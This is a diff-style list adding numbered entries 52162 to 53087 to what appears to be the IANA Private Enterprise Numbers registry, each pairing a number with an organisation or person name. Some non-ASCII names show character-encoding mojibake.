+52162 Mustasaare Tarkvarabüroo OÜ
+52163 PAPACHRISTOU
+52164 Perkbox Limited
+52165 ND PAPER LLC
+52166 Lilith Mimms
+52167 Watson Realty Corp
+52168 tkni.co
+52169 iDtrust Tecnologia de Software
+52170 Ip Way Ltd.
+52171 SageRider, Inc.
+52172 Byosoft Co.,Ltd
+52173 Landesvermessung und Geobasisinformation Brandenburg
+52174 WM Systems LLC.
+52175 TPS B.V.
+52176 TSV-Groep B.V.
+52177 ThoughtSpot, Inc.
+52178 AvarTec, Inc.
+52179 CELIA ALGERIE SARL
+52180 Jindanupajit
+52181 SimSpace Corporation
+52182 Brokhults Ã…keri AB
+52183 Benchmark Invest SPRL
+52184 Vali Cooper International
+52185 Duluth Trading Company
+52186 Wuhan University
+52187 StarLeaf Inc
+52188 Jakintek
+52189 Parker Data Networks Ltd
+52190 Flying Tiger Copenhagen
+52191 Jutel Oy
+52192 ITESOFT
+52193 Thales Global Services
+52194 Foot Specialists of Greater Cincinnati
+52195 Rahavard Karen
+52196 ASPIT AS
+52197 Toyota Motor North America
+52198 ARCATrust SA
+52199 Syhard
+52200 Chuo System Corporation
+52201 kukjae telesys
+52202 Verschwörhaus
+52203 SICK AG
+52204 Garrison Technology
+52205 Conselho da Justiça Federal - CJF
+52206 Ferrocarrils de la Generalitat Valenciana
+52207 thePulse Inc.
+52208 Guangdong UNIPOE IoT Technology Co., Ltd.
+52209 Arçelik AŞ
+52210 NNAISENSE SA
+52211 EUCHNER GmbH + Co. KG
+52212 Telefónica Móviles México
+52213 GuavaSpace
+52214 Universität Regensburg
+52215 Llama.pe SA
+52216 PrimosTI
+52217 Ambient System sp. z o.o.
+52218 Castle Global
+52219 NOVOTEA
+52220 Nianet A/S
+52221 Landkreis Mansfeld-Südharz
+52222 Support Logistic Services srl
+52223 Optimum Design Technology LLC
+52224 Eberle Design
+52225 Block Array Corporation
+52226 PEPE Invest s.r.o.
+52227 Avanfort
+52228 music support group
+52229 Roboteurs Inc
+52230 WuHan SanJiang Space Network Communication Co,LTD
+52231 sentieris
+52232 Bitline Informatikberatung GmbH
+52233 Internetswitch
+52234 Hostsharing eG
+52235 ZheJiang Taoshi Technology CO.,LTD.
+52236 Lyon e-Sport
+52237 Covenant Transportation Group
+52238 AMP Robotics
+52239 Kernel Labs Inc.
+52240 Piwiteam
+52241 CENTRAL COAST MEDICAL ONCOLOGY CORP
+52242 Wataniya Mobile
+52243 Luminor Bank AS
+52244 NetWorkS!
+52245 meituan
+52246 HMSHost
+52247 Vivo Telefonica
+52248 Altergy Systems
+52249 Jefferson Lab
+52250 First Weber, Inc.
+52251 Enconnex LLC
+52252 MNF Group
+52253 Symbio Networks
+52254 Dabee.ca
+52255 Woodridge Baptist Church
+52256 GloryTrust, LLC
+52257 Ufi Space Co., Ltd.
+52258 SDNIMO
+52259 PSiDEO SA
+52260 happn
+52261 Suomen Tilaajavastuu Oy
+52262 Service Benefit Plan Administrative Services Corp
+52263 NK Lundströms Trävaror AB
+52264 Verbraucherzentrale NRW e.V.
+52265 NNIP-Marketing
+52266 Global Legal Entity Identifier Foundation (GLEIF)
+52267 VAS "Valsts nekustamie ipasumi"
+52268 SHAZAM, Inc.
+52269 Consumer Affairs Agency, Government of Japan
+52270 Particle Industries, Inc.
+52271 Neal Suares, MD Family Practice
+52272 People's Council of the Donetsk People's Republic
+52273 Shen-Zhong Link Administration Center
+52274 Rijksen GmbH
+52275 Zentrales Engineering Active Directory
+52276 IntegraWare Informática
+52277 Liquid Voice Ltd
+52278 CAGIP
+52279 Menara Holding
+52280 Exploit-IT, Ltd.
+52281 MEDIAN Unternehmensgruppe B.V. & Co. KG
+52282 Shenzhen Forward Industry Co., Ltd.
+52283 Shanghai Teraoka Electronic Co.,Ltd
+52284 Magic Leap Horizons
+52285 CYBERTELBRIDGE Co., Ltd
+52286 Thinkum Labs
+52287 Energienetze Steiermark GmbH
+52288 Energienetze Steiermark GmbH
+52289 DS Produkte GmbH
+52290 StreamUnlimited Engineering GmbH
+52291 IT-GRAD
+52292 SmartGuard Software
+52293 EVA ICS (https://www.eva-ics.com/)
+52294 Beijing Juson Technology Co., Ltd.
+52295 Comp Line Informática LTDA
+52296 dacoso GmbH
+52297 Alivetec.io
+52298 ATRiCS Advanced Traffic Solutions
+52299 PT Surya Utama Putra
+52300 Institute For InfoComm Research
+52301 GfK SE
+52302 ROSATOM
+52303 Advanced Conversion Technology, Inc.
+52304 ThousandEyes, Inc.
+52305 Shenzhen Tong Tai Yi Information Technology Co.,Ltd.
+52306 novastar
+52307 BotProbe Ltd
+52308 YMKatz.net
+52309 Quaintco Services Limited
+52310 Cal Poly IEEE Student Branch
+52311 Lebenshilfe Münster gGmbH
+52312 Cloudify Platform Ltd.
+52313 itself s.r.o.
+52314 Mairie d'Antibes Juan-les-Pins
+52315 ituma GmbH
+52316 Synertone Communication Corp
+52317 NRB
+52318 futratec, llc.
+52319 Urzad Komisji Nadzoru Finansowego
+52320 Aerolineas Argentinas S.A
+52321 ausecus GmbH
+52322 Hospital Pediátrico Universitario William Soler Ledea
+52323 AMC
+52324 Unassigned
+52325 Edinburgh Hacklab Ltd
+52326 Alpine Optoelectronics Inc
+52327 Code Writers
+52328 HiTRON SYSTEMS Inc.
+52329 DSI DGAC
+52330 Chubb Systems Ltd
+52331 learntotechsolutions Limited
+52332 INTEGRITY Security Services LLC
+52333 Banco de Credito del Peru
+52334 Systematic Inc
+52335 Alignment Healthcare
+52336 Merrill Corporation
+52337 Bitfusion Inc.
+52338 Ultimum Technologies s.r.o.
+52339 denkbares GmbH
+52340 Barber Management, Ltd.
+52341 Search4.Work
+52342 Highland Centre
+52343 Rohtash kumar
+52344 PriVerify Corp.
+52345 County of Nevada
+52346 AAP-NDT GmbH
+52347 iwerk
+52348 TruePath Technologies
+52349 DIMATE GmbH
+52350 Allison Transmission Inc.
+52351 Sitecore
+52352 Georgian Microelectronics
+52353 Manutec srl
+52354 Alex Almero
+52355 American Oncology Partners, P.A.
+52356 Someserver
+52357 Trackhe.de
+52358 Paradigma
+52359 wedoid
+52360 Solutions By OQuinn
+52361 THALES AVIONICS ELECTRICAL SYSTEMS
+52362 healthfinch
+52363 Villamosipari Kooperációs Iroda Bt
+52364 Marryatville High School
+52365 Porsche Ukraine LLC
+52366 Dynniq Sweden AB
+52367 Livelo
+52368 Pegasus GmbH Gesellschaft für soziale/gesundheitliche Innovation
+52369 BJYDZY
+52370 St. Samenwerkende Publieke Omroepen Midden Nederland
+52371 Energy Science Network
+52372 Long Term Care Partners, LLC
+52373 Floyd Healthcare Management Inc.
+52374 Fintech JSC
+52375 oneZero Financial Systems
+52376 LleidaNetworks Serveis Telemàtics S.A.
+52377 J Skoba Industries
+52378 Lenz Family, LLC
+52379 ADVISOR SLA
+52380 Delphin Technology AG
+52381 XIRIUS Informatique
+52382 DoD Ophthalmology
+52383 Vrinda Nano Technologies Pvt Ltd
+52384 Mount Sinai Health System
+52385 Weldtech
+52386 Numatic International Ltd
+52387 INODESIGN
+52388 Housing Authority New Haven
+52389 Wolfined
+52390 Unc Inc B.V.
+52391 CCX Technologies
+52392 Myriad Mobile
+52393 T.D. Video Engineering
+52394 Sussex Partnership NHS Foundation Trust
+52395 OMICRON electronics GmbH
+52396 Bootstrap di Giuseppe La Rocca
+52397 Matthias Lösch
+52398 Raubex Pty Ltd
+52399 Cellum Global Zrt.
+52400 Wimark Systems
+52401 The Source
+52402 Stromnetz Graz GmbH & Co KG
+52403 Howlyte
+52404 Kent ISD
+52405 Tractor Supply Company
+52406 Centro de Cáncer de la Montaña, CSP
+52407 Xinhua News Agency
+52408 Shanghai Di'an Technology Incorporated
+52409 Technologywise
+52410 ONES.AI
+52411 Unassigned
+52412 NN Biztosító Zrt.
+52413 Macon County R-1 School District
+52414 Hestra Ã…keri AB
+52415 Quantitative Risk Management, Inc.
+52416 GÖRLITZ AG
+52417 Fusion Power Systems Pty Ltd
+52418 Skyhawk Group
+52419 Fortis Labs Pty Ltd
+52420 ION UPS Pty Ltd
+52421 INFODATA S.A.
+52422 CTI Products, Inc.
+52423 NetworkFX
+52424 Kyrio, Inc.
+52425 The North America Connect it Networks Company inc.
+52426 Farm Credit Canada
+52427 Upravleniya obrazovaniya administratsii g.Belgoroda
+52428 Certinet S.A.
+52429 SPConnect Pte Ltd
+52430 AppVision
+52431 MensaMarine
+52432 Micro Foundry
+52433 Bernard Krone Holding SE & Co. KG
+52434 Williams Lea Limited
+52435 First Data Corporation
+52436 Family Footcare Specialist, Inc.
+52437 DroidSolutions GmbH
+52438 Zollihood Information Technology and Computer Sciences Research Laboratories
+52439 TeraGo Networks Inc.
+52440 appotronics
+52441 Blight-Clark
+52442 NETGLUE SDN BHD
+52443 Valley Cancer Associates, P.A.
+52444 ATV Corporation
+52445 Gwydir Shire Council
+52446 Shanghai XunTai Information Technology CO., LTD
+52447 DAIKIN INDUSTRIES, LTD.
+52448 Nedcomp Hosting B.V.
+52449 SPIRIT/21 GmbH
+52450 CounterSign Ltda
+52451 Helsionium
+52452 Eloxal Design Jung
+52453 VOEB-ZVD Processing GmbH
+52454 SMC Ship Motion Control
+52455 l0nax UG (haftungsbeschränkt)
+52456 Cloudwave
+52457 Automated Microprocessor Systems
+52458 Sercos International e.V.
+52459 NanoTemper Technologies GmbH
+52460 UrzÄ…d Dozoru Technicznego
+52461 Matrix Elektronik AG
+52462 BloomReach
+52463 Contratanet Sistemas LTDA
+52464 Telefônica Brasil S.A.
+52465 LEGAL SIGN SPA
+52466 Lamont-Doherty Earth Observatory
+52467 PEPXIM Ltd.
+52468 NVision Group
+52469 RCL Manila
+52470 Soft Strategy S.p.A.
+52471 Systema Datentechnik GmbH
+52472 Medical Oncology and Hematology Associates
+52473 CEMA AG
+52474 McAfee, LLC
+52475 PriSec Limited
+52476 ginoclement.com
+52477 Werner Enterpises
+52478 Holger Rauch
+52479 Fedor Radostev
+52480 City of Canon City
+52481 北京圣åšæ¶¦é«˜æ–°æŠ€æœ¯è‚¡ä»½æœ‰é™å…¬å¸ (Beijing SBR High-tech Co., Ltd.)
+52482 FUJIYAMA POWER SYSTEMS PRIVATE LIMITED
+52483 EGDN
+52484 Nexway co.,ltd
+52485 Mensa in Deutschland e. V.
+52486 Kazcangi
+52487 ENERTECH COMNET
+52488 BEC
+52489 Landesamt für Zentrale Polizeiliche Dienste
+52490 Gardners Lane & Oakwood Federation
+52491 LES-TV
+52492 TIBCO Software Inc.
+52493 BACnet Interoperability Testing Services, Inc.
+52494 The NetWorker
+52495 ISE Informatikgesellschaft für Software-Entwicklung mbH
+52496 Panoptiqon
+52497 Aloha Group LLC
+52498 Etat de Vaud
+52499 APLEONA GmbH
+52500 Santander Bank Polska SA
+52501 DIANET INFRASTRUCTURE MONITORING
+52502 Nureva Inc.
+52503 Eaton Lighting
+52504 Renal Hypertension Clinic
+52505 SoftNI Corporation
+52506 Åströms markentreprenad AB
+52507 ProPotsdam GmbH
+52508 Bank of Albania
+52509 EMQX
+52510 Sentry View Systems, Inc.
+52511 hSenid Mobile Solutions
+52512 Quirem Medical B.V.
+52513 Synergy Medical BRG Inc
+52514 PIO, Inc.
+52515 OXNET Lukasz Pulka
+52516 The National Diabetes and Obesity Research Institute
+52517 LAZIOcrea S.p.A.
+52518 UW Credit Union
+52519 IT Mothership
+52520 Telesea Technology Co.,Ltd.
+52521 ddm Hopt+Schuler
+52522 Sovereign Housing Association
+52523 Secur01 Inc.
+52524 Steed Enterprises LLC
+52525 Autotrol S.A.
+52526 NextComputing
+52527 Sonobi, Inc.
+52528 Novigo S.R.L
+52529 Synchronet Telecomunicações Ltda
+52530 Eldis-Soft
+52531 CJSC "GOLLARD"
+52532 LANGROOM LTD
+52533 PayOS
+52534 Engineered Floors
+52535 hz.gl
+52536 U11G
+52537 mixi, Inc.
+52538 Ampere Computing
+52539 Sanntuu Corporation
+52540 University of Latvia
+52541 Desoutter
+52542 LGM Ingénierie
+52543 ZVD
+52544 NoviFlow Inc.
+52545 Jackson College
+52546 Bloombox LLC
+52547 Bridge Group Ltd
+52548 Akademia Wojsk Ladowych
+52549 Telefonica Germany
+52550 Alameda County Water District
+52551 GO MY CODE
+52552 IBJ Leasing Company, Limited
+52553 Chingo Software Co., LTD.
+52554 PT Privy Identitas Digital
+52555 NINGBO TURN-LINK NETWORK COMMUNICATION EQUIPMENT CO., LTD
+52556 Unipark LTD
+52557 SGNR.org
+52558 TechCraft Co.,Ltd.
+52559 P-Cure LTD
+52560 VIZZIA Technologies
+52561 Jaeger Bau GmbH
+52562 Personal Soft
+52563 xBar7 Communications, LLC
+52564 FreeDSx SNMP
+52565 UMC H ELECTRONICS CO., LTD.
+52566 Mercer Financial Services
+52567 factuno UG (haftungsbeschränkt)
+52568 fair&smart
+52569 Secure ID LTD.
+52570 OMU
+52571 HIFSYS TECHNOLOGY INC.
+52572 Oghmasys IT Services GmbH
+52573 Keenetic Limited
+52574 StepOver GmbH
+52575 Kinexon GmbH
+52576 AJ's Power Source Inc.
+52577 Cisco SolutionsLab
+52578 Federal Reserve Bank of Kansas City
+52579 ReLegoTec
+52580 DigiCert, Inc.
+52581 Kamran Khan SC
+52582 TRUSTED ELECTRONIC SOLUTIONS S. L (BRANDDOCS)
+52583 Stöde Skog AB
+52584 Shakopee Public School District
+52585 Lanet Network Ltd
+52586 First Electronic Bank
+52587 Edgecore Networks Corporation
+52588 Spacelabs Healthcare
+52589 Bold Idea, INC
+52590 Ad Astra Information Systems
+52591 Old Naples Concierge Medicine
+52592 JOVYATLAS
+52593 Urzad Marszalkowski Wojewodztwa Podlaskiego
+52594 RHEINZINK GmbH & Co. KG
+52595 Digibase Operations
+52596 Trustual
+52597 Oriflame Software, s.r.o.
+52598 ABSULT GmbH & Co. KG
+52599 Gilbert Public Schools
+52600 Auburn Networks, LLC
+52601 HORISEN AG
+52602 PTZNetwork
+52603 Neutrona Networks LLC
+52604 MediBloc, Inc.
+52605 Security Intelligence, LLC
+52606 Cranfield University
+52607 Nrby
+52608 Kingsen Creations Co., LTD.
+52609 GenesisCare
+52610 上海宽域工业网络设备有é™å…¬å¸ (Shanghai Kemyond Industrial Network Equipment Co., Ltd)
+52611 Thatcham Research
+52612 Matoa Systems
+52613 Hetrogenous communications Pvt ltd
+52614 Gregory Pest Control LLC
+52615 hangzhou anlantech Co.
+52616 OOO "RusBITech-Astra"
+52617 RomTeck Australia Pty Ltd
+52618 Health Gorilla Inc.
+52619 KeyWest Networks
+52620 unique projects GmbH & Co. KG
+52621 Wireless Systems Solutions
+52622 byon gmbh
+52623 Evonik Industries AG
+52624 Mail.Ru, LLC
+52625 Shearwater Geoservices Norway AS
+52626 Semicyber, LLC
+52627 Unassigned
+52628 Express Retail LLC
+52629 Nook Industries, Inc.
+52630 TechCertain Limited
+52631 Shanghai Zhuoran Information Technology Co., Ltd.
+52632 LogSentinel
+52633 Meierguss Sales & Logistics GmbH & Co. KG
+52634 PKIMONSTER LTD.
+52635 Gauff
+52636 AIR-LYNX SAS
+52637 MOCX Engenharia LTDA ME
+52638 Allentown Family Foot Care Prof Corp
+52639 CDNTV TECNOLOGIA LTDA
+52640 3Derm Systems, Inc.
+52641 COAC Jardin Azuayo Ltda.
+52642 FS.COM INC
+52643 Datilmedia S.A.
+52644 UNITEL LLC
+52645 San Francisco Foot and Ankle Center
+52646 J-TEK Inc.
+52647 tosee garan electronic rakhsh
+52648 Nordmalings skogsmaskiner AB
+52649 myhELO
+52650 J Group Italia
+52651 æŸç§‘æ•°æ®æŠ€æœ¯ï¼ˆæ·±åœ³ï¼‰è‚¡ä»½æœ‰é™å…¬å¸ (Rorke Data Technology (Shenzhen) Co., Ltd.)
+52652 V3iT Consulting, Inc
+52653 Teonite
+52654 KRON d.o.o.
+52655 Newicon Oy
+52656 JP/Politikens Hus A/S
+52657 Mitsubishi Hitachi Power Systems Europe GmbH
+52658 Azienda Zero
+52659 Guido de Bres Christian High School
+52660 myToys GmbH
+52661 TD Williamson
+52662 EDC-Business Holding GmbH
+52663 Lanyon Bowdler LLP
+52664 Rehm Thermal Systems GmbH
+52665 IEMN
+52666 GreenUnit UG
+52667 Intercel Pty Ltd
+52668 jörg giencke | internet design
+52669 Cognida Foundation
+52670 ZULU
+52671 arvato
+52672 Teleservice Bredband Skane AB
+52673 VPSign Ltd.
+52674 Schneider Electric / APC NetBotz
+52675 Peddie Institute Co., Ltd.
+52676 Hawaiki Cable Ltd.
+52677 iFuture Service Co., Ltd.
+52678 Jit Team Sp. z o.o.
+52679 Advanced Technology Facility
+52680 Australian Paper
+52681 dVentus Technologies
+52682 Sign & Crypt - Verein zur Foerderung der sicheren Kommunikation im Internet
+52683 Zombie Emergency Response Organization
+52684 ATRIAN COMMUNICATION TECHNOLOGIES LLC
+52685 R. Dubois
+52686 Laretk
+52687 C-130 ATS
+52688 Technisches Hilfswerk, SEElift
+52689 KRUL.TECH
+52690 Getac Technology Corporation
+52691 Aerztekammer des Saarlandes
+52692 Tag-IP
+52693 Hoge Fenton
+52694 Ribbon Communications
+52695 OETIKER+PARTNER AG
+52696 Emtelligent Software Ltd
+52697 Sanchez Home Lab
+52698 NNE A/S
+52699 Ethoca Limited
+52700 Max Harmony
+52701 Tech-Tips Fr
+52702 Appstractor Corporation (UK) Ltd
+52703 InstaSafe Technologies Private Limited
+52704 Olympus Infotech, LLC
+52705 State of Nebraska
+52706 Sällströms Åkeri AB
+52707 IGEM Communications
+52708 Bildungsverbund Handwerk
+52709 Orsa besparingsskog
+52710 Crypto Capital Australia
+52711 广州åˆæ˜Žè½¯ä»¶ç§‘技有é™å…¬å¸ (Guangzhou Heming Software Technology Co., Ltd.)
+52712 Huber + Monsch AG
+52713 VMF LATVIA SIA
+52714 COFORET
+52715 UMT LLC
+52716 TRYDEA
+52717 Neturius GmbH
+52718 Nrn maskin ab
+52719 Jacob Video & Sound
+52720 RF IDeas Inc.
+52721 Archbright
+52722 Deutsches Archäologisches Institut
+52723 RackPower
+52724 dalx
+52725 Paper Machinery Corporation
+52726 Trident RFID
+52727 lunica
+52728 Xiamen Dianchu Technology Co.,Ltd.
+52729 Mitteldeutsche Flughafen AG
+52730 Vinetu Technologies Ltd
+52731 Society for Human Resource Management
+52732 BODINE ELECTRIC COMPANY
+52733 A.K. & Sons
+52734 Brain Corporation
+52735 DearBytes BV
+52736 BlastAsia Inc.
+52737 InQuest, LLC
+52738 Abris Ltd.
+52739 Trinity Anglican College
+52740 Hiscale GmbH
+52741 Doolins
+52742 KeHE Distributors, LLC
+52743 Darrera
+52744 Arkansas Department of Human Services - Office of Information Technology
+52745 cupids guide by cynrocks
+52746 Amtelco
+52747 X Free Space Optical Communication
+52748 Evolution Digital
+52749 Qvalent
+52750 Ahnnet
+52751 RCI Financial Services Ltd
+52752 XPHONE Czech s.r.o.
+52753 TE Technology, Inc.
+52754 NIICHASPROM
+52755 At Home
+52756 XVTEC
+52757 Beacon Cancer Care, PLL
+52758 Kistler Instrumente AG
+52759 Rayhaan Networks
+52760 SBTAP-AS59715
+52761 Baldwin Risk Partners
+52762 Instituto Federal Catarinense - Araquari
+52763 HTTPCART Technologies Pvt Ltd
+52764 SOUTHCERT, LLC
+52765 Einfaches-Netzwerk
+52766 Oita Denshi Kogyo Co., Ltd.
+52767 E-Government
+52768 IOV42 LTD
+52769 Kara Systems
+52770 Caroline A. Rivera Olmo
+52771 dslz.biz
+52772 Salfer GmbH
+52773 Erzurum Teknik Ãœniversitesi
+52774 Computerservice U.Zeysing
+52775 Workz Media FZ LLC
+52776 Stiftung Mathias-Spital Rheine
+52777 Versiant
+52778 Allergy and Asthma Associates
+52779 Parswa
+52780 Kasco Tecnologia
+52781 Primary Care Physicians, LLP
+52782 Community Care HIE
+52783 Xunlei
+52784 Atech Negócios em Tecnologias S/A
+52785 Radio Bremen
+52786 POWIDIAN
+52787 Applied Laser Technologies
+52788 Meridian Technologies Inc
+52789 Indyme Solutions
+52790 Charles Taylor InsureTech
+52791 Undocumented Features
+52792 Crazzy Systems, Inc.
+52793 HOME
+52794 intoto systems
+52795 Batteries Plus, LLC
+52796 New Hippo Health
+52797 ENH - Empresa Nacional de Hidrocarbonetos; E.P.
+52798 ib company GmbH
+52799 LOGICSPECTRA
+52800 tegra electronic
+52801 DCS Corporation
+52802 Mackenzie Hauck
+52803 Chrisite Systems Pty Ltd
+52804 Stringon (Beijing) Technology Inc.Stringon technology (Beijing) Co., Ltd.
+52805 Locatee AG
+52806 Manfred Paul
+52807 Supervisor 4U Bt.
+52808 Paragon Development System
+52809 Nayax Ltd.
+52810 MCC of Roshydromet
+52811 National museum "Kyiv art gallery"
+52812 TriNet
+52813 Fidesmo AB
+52814 Virginia Indigent Defense Commission
+52815 LANXESS AG
+52816 UNISYLVA
+52817 Ramsay Corporation
+52818 DITEC, a.s.
+52819 Win10isComing
+52820 Fyfe Software Inc.
+52821 Totalplay
+52822 Shenzhen AOTO Electronics Co., Ltd.
+52823 IT CONSULTING WOLFINGER
+52824 Tomas Dobrovolny
+52825 PGNiG Obrót Detaliczny sp. z o. o.
+52826 Latvijas Transportlidzeklu Apdrosinataju birojs
+52827 Unia
+52828 elaf
+52829 Sumber Energi Khatulistiwa
+52830 Tanner Ryan
+52831 IneControl
+52832 Westfield Cardiology
+52833 Crossfield Technology LLC
+52834 Joinnet Technology
+52835 Karsoft Technology
+52836 LEIPA Group GmbH
+52837 Pelatro Plc
+52838 Illuminate Technologies Ltd
+52839 digital sewa kendra fukaha tadiyawa haradoi
+52840 Bearmach LTD
+52841 Department for Environment, Food & Rural Affairs
+52842 Intevac Photonics, Inc.
+52843 CARD Services Utrecht
+52844 National Radio and Telecommunication Corporation
+52845 Mist Systems Inc.
+52846 Chunghwa System Integration Co., Ltd.
+52847 Van Walt Limited
+52848 JellWin Information Technology Co.,Ltd.
+52849 Technology Company Center, JSC
+52850 Quiet To Deep
+52851 e-Netdata, Limited
+52852 Ärztliche Abrechnungsstelle Ludwigsburg GmbH
+52853 mobisys Mobile Informationssysteme GmbH
+52854 HÄVG Hausärztliche Vertragsgemeinschaft AG
+52855 Diamanti Inc
+52856 Oakridge Networks Inc.
+52857 ITHB
+52858 SAE IT-systems GmbH & Co. KG
+52859 TCPS, Inc.
+52860 Global Commercial Technologies
+52861 SoftIB, SIA
+52862 大庆中基石油通信建设有é™å…¬å¸ (Daqing Zhongji Petroleum Communication Construction Co., Ltd.)
+52863 Compass Systems Pvt Ltd
+52864 AMENIDY, Inc.
+52865 IMD Ingenieurbuero fuer Microcomputertechnik
+52866 JellWin Information Technology Co.,Ltd.
+52867 Dundee Foot and Ankle Center
+52868 O-NET Communications (Shenzhen) Limited
+52869 Abstruse Systems
+52870 TXS GmbH
+52871 The Packet Hub
+52872 Premier Community Credit Union
+52873 HealthLink Group Limited
+52874 Focal Tech Limited
+52875 Gebbeth, s.r.o.
+52876 Art-bolitos
+52877 ASF
+52878 TRENNSO TECHNIK - Trenn- und Sortiertechnik GmbH
+52879 TECSUP
+52880 DOKltd
+52881 PACE Media Development GmbH
+52882 Western University - Faculty of Science
+52883 Celfocus
+52884 Trinity Guard
+52885 Three Ireland (Hutchison) Ltd
+52886 S Park-Davis Healthcare
+52887 MALTA INFORMATIQUE
+52888 HSB Affärsstöd AB
+52889 Cropland BVBA
+52890 Sonoma County Junior College District
+52891 Kerasotes Showplace Theatres
+52892 Critical Response Systems, Inc
+52893 Inspur Power Systems Co.,Ltd.
+52894 chez14
+52895 China Academy of Information and Communications Technology
+52896 360Globalnet Ltd
+52897 Computech bvba
+52898 Telenot Electronic GmbH
+52899 White Rabbit Security GmbH
+52900 Rouviere High School
+52901 Linxdatacenter
+52902 VI Company Services B.V.
+52903 Turrillas Inc.
+52904 Defiance Technology Inc.
+52905 JT Global
+52906 Acumen Consulting
+52907 APROPLAN s.a
+52908 Bank J.Van Breda & C°
+52909 Weichert Companies
+52910 Tom Technology Limited
+52911 Pika Energy
+52912 AMTT (Beijing) Internet Technology Inc.
+52913 RF-Tuote Oy
+52914 Acqueon Technologies Inc.
+52915 SCHENKER spol. s r.o.
+52916 Tramwaje Warszawskie Sp. z o.o.
+52917 Thomas Fuchs
+52918 A3 SYSTEM sprl-bvba
+52919 GuangZhou KaiXin Communication System Co.,Ltd.
+52920 MilleniumSign
+52921 ayfie Group AS
+52922 Empa - Eawag
+52923 Keyfactor
+52924 Brainbean Apps OU
+52925 STRABAG SE
+52926 alerta.io
+52927 Nova Scotia Power
+52928 Volqanic Ltd
+52929 Physician Reimbursement Systems, LLC
+52930 Primma, LLC
+52931 Freedom Mobile
+52932 Maven Wireless AB
+52933 Top Aces Inc.
+52934 Decision-Plus
+52935 Envira Sostenible S.A.
+52936 Hope and Healing Cancer Services
+52937 Aerostart LLC
+52938 Finslink Communication Technology Co., Ltd.
+52939 Dumfries & Galloway Mental Health Association
+52940 Domstolsstyrelsen
+52941 Homelab City
+52942 WIZnet Co., Ltd.
+52943 Banca Comerciala Romana S.A.
+52944 SCIERIE MOULIN
+52945 Partner MKF
+52946 PDTec AG
+52947 Alexandr Zolotarev
+52948 LeviTech Co., Ltd.
+52949 DigiCompass Pty Ltd
+52950 Mindsec Technology Company
+52951 Denex Technology, LLC
+52952 Stadt Winterthur
+52953 iVent Mobile B.V.
+52954 Lef Srl
+52955 Advanced Control Systems, Inc
+52956 Fronius International GmbH
+52957 ACTIVEMALL SRL
+52958 NumaTech Ltd.
+52959 Drakontas LLC
+52960 AssistRx
+52961 Cohen & Company
+52962 AVA Abfallverwertung Augsburg KU
+52963 BRNET
+52964 OOO "Synergy Team"
+52965 Berale of Teldan Group
+52966 Itzos
+52967 Mascaro Construction Company
+52968 Reimer IT Solutions
+52969 TRUSTPRO QTSP LTD
+52970 Eleven Software
+52971 Art-k-tec Systems LLC
+52972 Matthias Staudacher
+52973 August Storck KG
+52974 Alamo Psychiatric Care, P.A.
+52975 Salish Integrative Medicine, Inc.
+52976 Pittol
+52977 ZMNH EDV
+52978 Träfrakt Götaland AB
+52979 Fujian Straits Information Technology Co., Ltd.
+52980 Nissin Systems Co.,Ltd.
+52981 CPON TECHNOLOGIES HONGKONG CO LIMITED
+52982 PNP SECURE INC.
+52983 West London NHS Trust
+52984 Albany Surgical, PC
+52985 Omni Air International
+52986 Mörks skogsmaskiner AB
+52987 TierPoint
+52988 中天宽带技术有é™å…¬å¸ (Zhongtian Broadband Technology Co., Ltd.)
+52989 Medical Training Institute Center INC
+52990 Heilongjiang Electric Power Dispatching Industry Co., Ltd.
+52991 DataOrbis
+52992 Lahtis Entreprenad AB
+52993 ChocolateCoding
+52994 drei01 Technology Business Services GmbH
+52995 Yarnlab
+52996 Andreas Nilsson Skog AB
+52997 ict-optim.cz
+52998 Electricity North West Limited
+52999 InStride Capital Foot and Ankle
+53000 Wasserstraßen- und Schifffahrtsverwaltung des Bundes
+53001 Unipart
+53002 Webmeisterei Informationstechnologie GmbH
+53003 Cirrus Data Solutions, Inc.
+53004 RIAB
+53005 Matthew Kehrer Companies
+53006 Hybrix
+53007 Ulrich Boddenberg IT-Consultancy
+53008 Schröter-Group
+53009 Ozaukee Medical Group
+53010 KECCEO AB
+53011 JH skogsentreprenad AB
+53012 Pine Rest
+53013 Administración de Aduanera de Honduras (formerly 'Dirección Adjunta de Rentas Aduaneras')
+53014 SIGMA SYSTEM CO.,LTD.
+53015 Murakami Business Consulting, Inc.
+53016 AXYS Technologies Inc
+53017 Campo Imaging
+53018 zeald
+53019 NetDesign GmbH
+53020 Anuview
+53021 Thimeo Audio Technology B.V.
+53022 8tree GmbH
+53023 AGFEO GmbH & Co. KG
+53024 wiesmueller.info
+53025 Carleton Univeristy
+53026 RadOncWare
+53027 University of Havana
+53028 Jutos skog AB
+53029 Overseas Education Investment Management (HK) Ltd
+53030 RIFT Inc
+53031 AliceSystem
+53032 Inter-University Institute for Data Intensive Astronomy
+53033 Zenuity AB
+53034 Nio-Electronics
+53035 ArcelorMittal Global R&D Asturias
+53036 National HME Inc.
+53037 InterGalactic Space Walrus
+53038 Grega-JK d.o.o.
+53039 Technetics Consulting Pty Ltd
+53040 NOREST-SERVICES
+53041 北斗天汇(北京)科技有é™å…¬å¸ (Beidou Tianhui (Beijing) Technology Co., Ltd.)
+53042 Enbridge Inc.
+53043 InfoKeyVault Technology
+53044 ABC Systems AG
+53045 TUCHA Sp. z o.o.
+53046 Memsource
+53047 oneFactor, LLC
+53048 Keonn Technologies SL
+53049 Cresdee Consulting Ltd
+53050 Sberbank Telecom
+53051 Lum Hematology & Oncology
+53052 Department of Public Expenditure and Reform
+53053 VAULT ID - SOLUCOES EM CRIPTOGRAFIA E IDENTIFICACAO
+53054 T Lindmark skog AB
+53055 BCNexxt B.V.
+53056 Adara Technologies Inc.
+53057 Entropy Solution
+53058 Baicells
+53059 TomLab
+53060 ReAssure
+53061 Kids Plus Pediatrics
+53062 NANTOKA.COM
+53063 Lynx Technology
+53064 Stratodesk
+53065 Lee Industrial Contracting
+53066 Atlanta Ropheka Medical Center
+53067 KAMALA Gupta
+53068 Funkwerk Magyarország Kft.
+53069 BranchScuba
+53070 MIPS
+53071 NGN System Inc.
+53072 Prime Syntax
+53073 cocoon-it Projektbüro
+53074 SPG Co., Ltd
+53075 Vinetech Co., Ltd.
+53076 IT Craft YSA GmbH
+53077 Copernicus Science Centre
+53078 Advanced Information Management
+53079 Huuuge Games Sp. z o.o.
+53080 Hanssons åkeri i Fjugesta AB
+53081 Philip Couling
+53082 Paedagogische Hochschule Bern
+53083 Fiber Optika Technologies Pvt Ltd
+53084 Proxima Software di Vanini Mirco
+53085 Urology Associates of Central MO
+53086 Dr. Basel Refai, MD
+53087 Authindicators Group (aka Brand Indicators for Message Identification Working Group)
